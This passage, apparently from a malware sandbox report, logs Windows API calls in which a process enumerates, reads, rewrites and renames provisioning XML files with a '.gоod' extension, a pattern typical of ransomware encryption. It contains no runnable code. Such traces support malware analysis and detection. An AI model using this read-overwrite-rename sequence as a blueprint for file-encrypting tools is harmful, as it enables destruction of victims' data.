lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0122.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0122.113] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.113] GetFileType (hFile=0x7c8) returned 0x1 [0122.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0122.113] GetFileType (hFile=0x7c8) returned 0x1 [0122.113] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0x10f [0122.113] ReadFile (in: hFile=0x7c8, lpBuffer=0x34b00f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x34b00f0*, lpNumberOfBytesRead=0x1ffee2c8*=0x10f, lpOverlapped=0x0) returned 1 [0122.114] CloseHandle (hObject=0x7c8) returned 1 [0122.718] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0122.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0122.718] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0122.719] GetFileType (hFile=0x6e8) returned 0x1 [0122.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0122.720] GetFileType (hFile=0x6e8) returned 0x1 [0122.720] WriteFile (in: hFile=0x6e8, lpBuffer=0x35ffc40*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x35ffc40*, lpNumberOfBytesWritten=0x1ffee1d8*=0x110, lpOverlapped=0x0) returned 1 [0122.720] CloseHandle (hObject=0x6e8) returned 1 [0122.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0122.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0122.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0122.721] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d0d528, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55d0d528, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x455b6b08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0122.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0122.721] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml.gоod")) returned 1 [0122.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0122.722] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov", lpFilePart=0x0) returned 0x51 [0122.722] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.723] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.723] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0122.723] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0122.724] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.724] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0122.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0122.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0122.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov", lpFilePart=0x0) returned 0x51 [0122.724] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.724] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.724] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0122.724] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0122.725] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0122.725] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0122.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0122.725] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1ffed440, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0122.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed910) returned 1 [0122.725] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x360fb70 | out: lpFileInformation=0x360fb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948)) returned 1 [0122.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed8d0) returned 1 [0122.725] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1ffed2a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0122.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed7c0) returned 1 [0122.725] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0122.725] GetFileType (hFile=0x6e8) returned 0x1 [0122.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed730) returned 1 [0122.725] GetFileType (hFile=0x6e8) returned 0x1 [0122.726] GetFileSize (in: hFile=0x6e8, lpFileSizeHigh=0x1ffed968 | out: lpFileSizeHigh=0x1ffed968*=0x0) returned 0x948 [0122.726] ReadFile (in: hFile=0x6e8, lpBuffer=0x36107b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffed898, lpOverlapped=0x0 | out: lpBuffer=0x36107b0*, lpNumberOfBytesRead=0x1ffed898*=0x948, lpOverlapped=0x0) returned 1 [0122.734] CloseHandle (hObject=0x6e8) returned 1 [0123.580] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1ffed2a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0123.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed7c0) returned 1 [0123.580] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0123.581] GetFileType (hFile=0x6e8) returned 0x1 [0123.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed730) returned 1 [0123.581] GetFileType (hFile=0x6e8) returned 0x1 [0123.581] WriteFile (in: hFile=0x6e8, lpBuffer=0x35179b8*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x1ffed7a8, lpOverlapped=0x0 | out: lpBuffer=0x35179b8*, lpNumberOfBytesWritten=0x1ffed7a8*=0x950, lpOverlapped=0x0) returned 1 [0123.582] CloseHandle (hObject=0x6e8) returned 1 [0123.582] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1ffed440, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0123.582] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1ffed440, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0123.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed8d0) returned 1 [0123.582] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1ffed9b0 | out: lpFileInformation=0x1ffed9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x45def9ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x950)) returned 1 [0123.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed890) returned 1 [0123.582] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml.gоod")) returned 1 [0123.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0123.583] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0123.583] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0123.585] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.585] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c4e960, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c4e960, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55c4e960, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x93d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0123.585] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c74bbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c74bbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55c74bbc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1018, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 1 [0123.585] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c9ae14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c9ae14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55c9ae14, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1939, dwReserved0=0x0, dwReserved1=0x0, cFileName="2__Power_Policy.provxml", cAlternateFileName="2__POW~1.PRO")) returned 1 [0123.586] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55cc1070, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1939, dwReserved0=0x0, dwReserved1=0x0, cFileName="3__Power_Policy.provxml", cAlternateFileName="3__POW~1.PRO")) returned 1 [0123.586] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55cc1070, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="4__Power_Policy.provxml", cAlternateFileName="4__POW~1.PRO")) returned 1 [0123.586] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55cc1070, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="5__Power_Policy.provxml", cAlternateFileName="5__POW~1.PRO")) returned 1 [0123.586] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x93f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6__Power_Policy.provxml", cAlternateFileName="6__POW~1.PRO")) returned 1 [0123.586] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.586] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0123.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0123.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0123.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0123.587] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0123.587] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, 